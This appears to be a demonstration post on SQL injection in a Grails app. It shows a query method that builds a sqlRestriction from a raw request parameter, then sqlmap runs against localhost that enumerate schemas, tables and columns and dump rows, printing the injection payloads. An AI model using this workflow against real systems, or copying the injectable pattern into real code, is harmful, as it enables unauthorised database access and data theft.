Sick Grails - SQL Injection

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

CREATE SEQUENCE hibernate_sequence MINVALUE 1000;
CREATE TABLE EX100 (
    OBJID BIGSERIAL PRIMARY KEY,
    VERSION BIGINT NOT NULL,
    MAN_CREATED VARCHAR(20) NOT NULL,
    DATE_CREATED TIMESTAMP NOT NULL,
    MAN_LAST_UPDATED VARCHAR(20) NULL,
    LAST_UPDATED TIMESTAMP NULL,
    NOTE VARCHAR(50) NULL,
    STRINGS VARCHAR(50) NULL,
    INTEGERS INTEGER NULL,
    ATMS INTEGER NULL,
    STATUS INTEGER NULL,
    ARTICLE TEXT NULL
);

COMMENT ON TABLE EX100 IS '範例表單';
COMMENT ON COLUMN EX100.MAN_CREATED IS '建檔人員';
COMMENT ON COLUMN EX100.DATE_CREATED IS '建檔時間';
COMMENT ON COLUMN EX100.MAN_LAST_UPDATED IS '最後異動人員';
COMMENT ON COLUMN EX100.LAST_UPDATED IS '最後異動時間';
COMMENT ON COLUMN EX100.NOTE IS '資料註記';
COMMENT ON COLUMN EX100.STRINGS IS '字串';
COMMENT ON COLUMN EX100.INTEGERS IS '數字';
COMMENT ON COLUMN EX100.ATMS IS '金額';
COMMENT ON COLUMN EX100.STATUS IS '流程狀態';
COMMENT ON COLUMN EX100.ARTICLE IS '文章';

insert into ex100 (objid,version,note) values ((nextval('hibernate_sequence')),0,'test');
insert into ex100 (objid,version,note) values ((nextval('hibernate_sequence')),0,'test1');
insert into ex100 (objid,version,note) values ((nextval('hibernate_sequence')),0,'test2');

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

LinkedHashMap filter2(GrailsParameterMap params){

    LinkedHashMap result = [:]

    List<Ex100> ex100L = Ex100.createCriteria().list() {

        if(params?.strings){
            sqlRestriction(" this_.strings = '${params?.strings}' ")
        }

    }

    result.rows = ex100L.collect { it ->
        [

                id          : it?.id,
                strings     : it?.strings,
                integers    : it?.integers,
                atms        : it?.atms,
                status      : it?.status,
        ]
    }

    return result

}

1

sqlmap -u "http://localhost:8090/start/filter2?strings=ZAP" --batch

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

❯ sqlmap -u "http://localhost:8090/start/filter2?strings=ZAP" --batch
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.7.2#stable}
|_ -| . [']     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 00:19:04 /2024-08-18/

[00:19:04] [INFO] resuming back-end DBMS 'postgresql' 
[00:19:04] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: strings (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: strings=ZAP' AND 1463=1463 AND 'jWFI'='jWFI

    Type: error-based
    Title: PostgreSQL AND error-based - WHERE or HAVING clause
    Payload: strings=ZAP' AND 1706=CAST((CHR(113)||CHR(98)||CHR(120)||CHR(118)||CHR(113))||(SELECT (CASE WHEN (1706=1706) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(120)||CHR(98)||CHR(118)||CHR(113)) AS NUMERIC) AND 'mGGj'='mGGj

    Type: stacked queries
    Title: PostgreSQL > 8.1 stacked queries (comment)
    Payload: strings=ZAP';SELECT PG_SLEEP(5)--

    Type: time-based blind
    Title: PostgreSQL > 8.1 AND time-based blind
    Payload: strings=ZAP' AND 3963=(SELECT 3963 FROM PG_SLEEP(5)) AND 'nMkI'='nMkI
---
[00:19:04] [INFO] the back-end DBMS is PostgreSQL
back-end DBMS: PostgreSQL
[00:19:04] [INFO] fetched data logged to text files under '/home/pollochang/.local/share/sqlmap/output/localhost'
[00:19:04] [WARNING] your sqlmap version is outdated

[*] ending @ 00:19:04 /2024-08-18/

1

sqlmap -u "http://localhost:8090/start/filter2?strings=ZAP" --dbms=postgresql --batch --dbs

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49

❯ sqlmap -u "http://localhost:8090/start/filter2?strings=ZAP" --dbms=postgresql --batch --dbs
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.7.2#stable}
|_ -| . [(]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 00:25:18 /2024-08-18/

[00:25:18] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: strings (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: strings=ZAP' AND 1463=1463 AND 'jWFI'='jWFI

    Type: error-based
    Title: PostgreSQL AND error-based - WHERE or HAVING clause
    Payload: strings=ZAP' AND 1706=CAST((CHR(113)||CHR(98)||CHR(120)||CHR(118)||CHR(113))||(SELECT (CASE WHEN (1706=1706) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(120)||CHR(98)||CHR(118)||CHR(113)) AS NUMERIC) AND 'mGGj'='mGGj

    Type: stacked queries
    Title: PostgreSQL > 8.1 stacked queries (comment)
    Payload: strings=ZAP';SELECT PG_SLEEP(5)--

    Type: time-based blind
    Title: PostgreSQL > 8.1 AND time-based blind
    Payload: strings=ZAP' AND 3963=(SELECT 3963 FROM PG_SLEEP(5)) AND 'nMkI'='nMkI
---
[00:25:18] [INFO] testing PostgreSQL
[00:25:18] [INFO] confirming PostgreSQL
[00:25:18] [INFO] the back-end DBMS is PostgreSQL
back-end DBMS: PostgreSQL
[00:25:18] [WARNING] schema names are going to be used on PostgreSQL for enumeration as the counterpart to database names on other DBMSes
[00:25:18] [INFO] fetching database (schema) names
available databases [3]:
[*] information_schema
[*] pg_catalog
[*] public

[00:25:19] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 2 times
[00:25:19] [INFO] fetched data logged to text files under '/home/pollochang/.local/share/sqlmap/output/localhost'
[00:25:19] [WARNING] your sqlmap version is outdated

[*] ending @ 00:25:19 /2024-08-18/

1

sqlmap -u "http://localhost:8090/start/filter2?strings=ZAP" --dbms=postgresql --batch -D public --tables

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48

❯ sqlmap -u "http://localhost:8090/start/filter2?strings=ZAP" --dbms=postgresql --batch -D public --tables
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.7.2#stable}
|_ -| . ["]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 00:26:15 /2024-08-18/

[00:26:15] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: strings (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: strings=ZAP' AND 1463=1463 AND 'jWFI'='jWFI

    Type: error-based
    Title: PostgreSQL AND error-based - WHERE or HAVING clause
    Payload: strings=ZAP' AND 1706=CAST((CHR(113)||CHR(98)||CHR(120)||CHR(118)||CHR(113))||(SELECT (CASE WHEN (1706=1706) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(120)||CHR(98)||CHR(118)||CHR(113)) AS NUMERIC) AND 'mGGj'='mGGj

    Type: stacked queries
    Title: PostgreSQL > 8.1 stacked queries (comment)
    Payload: strings=ZAP';SELECT PG_SLEEP(5)--

    Type: time-based blind
    Title: PostgreSQL > 8.1 AND time-based blind
    Payload: strings=ZAP' AND 3963=(SELECT 3963 FROM PG_SLEEP(5)) AND 'nMkI'='nMkI
---
[00:26:15] [INFO] testing PostgreSQL
[00:26:15] [INFO] confirming PostgreSQL
[00:26:15] [INFO] the back-end DBMS is PostgreSQL
back-end DBMS: PostgreSQL
[00:26:15] [INFO] fetching tables for database: 'public'
[00:26:15] [INFO] resumed: 'ex100'
Database: public
[1 table]
+-------+
| ex100 |
+-------+

[00:26:15] [INFO] fetched data logged to text files under '/home/pollochang/.local/share/sqlmap/output/localhost'
[00:26:15] [WARNING] your sqlmap version is outdated

[*] ending @ 00:26:15 /2024-08-18/

1

sqlmap -u "http://localhost:8090/start/filter2?strings=ZAP" --dbms=postgresql --batch -D public -T ex100 --columns

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52

❯ sqlmap -u "http://localhost:8090/start/filter2?strings=ZAP" --dbms=postgresql --batch -D public -T ex100 --columns
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.7.2#stable}
|_ -| . [']     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 00:27:26 /2024-08-18/

[00:27:26] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: strings (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: strings=ZAP' AND 1463=1463 AND 'jWFI'='jWFI

    Type: error-based
    Title: PostgreSQL AND error-based - WHERE or HAVING clause
    Payload: strings=ZAP' AND 1706=CAST((CHR(113)||CHR(98)||CHR(120)||CHR(118)||CHR(113))||(SELECT (CASE WHEN (1706=1706) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(120)||CHR(98)||CHR(118)||CHR(113)) AS NUMERIC) AND 'mGGj'='mGGj

    Type: stacked queries
    Title: PostgreSQL > 8.1 stacked queries (comment)
    Payload: strings=ZAP';SELECT PG_SLEEP(5)--

    Type: time-based blind
    Title: PostgreSQL > 8.1 AND time-based blind
    Payload: strings=ZAP' AND 3963=(SELECT 3963 FROM PG_SLEEP(5)) AND 'nMkI'='nMkI
---
/*中間省略*/
Database: public
Table: ex100
[12 columns]
+------------------+-----------+
| Column           | Type      |
+------------------+-----------+
| version          | int4      |
| article          | text      |
| atms             | int4      |
| date_created     | timestamp |
| integers         | int4      |
| last_updated     | timestamp |
| man_created      | varchar   |
| man_last_updated | varchar   |
| note             | varchar   |
| objid            | numeric   |
| status           | int4      |
| strings          | varchar   |
+------------------+-----------+

1

sqlmap -u "http://localhost:8090/start/filter2?strings=ZAP" --dbms=postgresql --batch -D public -T ex100 -C strings,status --dump

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63

❯ sqlmap -u "http://localhost:8090/start/filter2?strings=ZAP" --dbms=postgresql --batch -D public -T ex100 -C strings,status --dump
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.7.2#stable}
|_ -| . [']     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 00:28:34 /2024-08-18/

[00:28:34] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: strings (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: strings=ZAP' AND 1463=1463 AND 'jWFI'='jWFI

    Type: error-based
    Title: PostgreSQL AND error-based - WHERE or HAVING clause
    Payload: strings=ZAP' AND 1706=CAST((CHR(113)||CHR(98)||CHR(120)||CHR(118)||CHR(113))||(SELECT (CASE WHEN (1706=1706) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(120)||CHR(98)||CHR(118)||CHR(113)) AS NUMERIC) AND 'mGGj'='mGGj

    Type: stacked queries
    Title: PostgreSQL > 8.1 stacked queries (comment)
    Payload: strings=ZAP';SELECT PG_SLEEP(5)--

    Type: time-based blind
    Title: PostgreSQL > 8.1 AND time-based blind
    Payload: strings=ZAP' AND 3963=(SELECT 3963 FROM PG_SLEEP(5)) AND 'nMkI'='nMkI
---
[00:28:34] [INFO] testing PostgreSQL
[00:28:34] [INFO] confirming PostgreSQL
[00:28:34] [INFO] the back-end DBMS is PostgreSQL
back-end DBMS: PostgreSQL
[00:28:34] [INFO] fetching entries of column(s) 'status,strings' for table 'ex100' in database 'public'
Database: public
Table: ex100
[305 entries]
+----------------------------------------------------+--------+
| strings                                            | status |
+----------------------------------------------------+--------+
| NULL                                               | 0      |
| ZAP UNION ALL SELECT NULL,NULL,NULL,NULL,NULL-- -  | 0      |
| ZAP) UNION ALL SELECT NULL,NULL#                   | 0      |
| ZAP UNION ALL SELECT NULL,NULL,NULL#               | 0      |
| ZAP' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL#    | 0      |
| ZAP%' ORDER BY 1#                                  | 0      |
| ZAP%' UNION ALL SELECT NULL#                       | 0      |
| ZAP%' UNION ALL SELECT NULL,NULL#                  | 0      |
| ZAP%' UNION ALL SELECT NULL,NULL,NULL#             | 0      |
| ZAP%' UNION ALL SELECT NULL,NULL,NULL,NULL#        | 0      |
| ZAP%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL#   | 0      |
| ZAP ORDER BY 1#                                    | 0      |
| ZAP UNION ALL SELECT NULL#                         | 0      |
| ZAP UNION ALL SELECT NULL,NULL#                    | 0      |
| ZAP UNION ALL SELECT NULL,NULL,NULL#               | 0      |
| ZAP UNION ALL SELECT NULL,NULL,NULL,NULL#          | 0      |
| ZAP UNION ALL SELECT NULL,NULL,NULL,NULL,NULL#     | 0      |
| ZAP                                                | 0      |
| #javascript:alert(5397)                            | 0      |
+----------------------------------------------------+--------+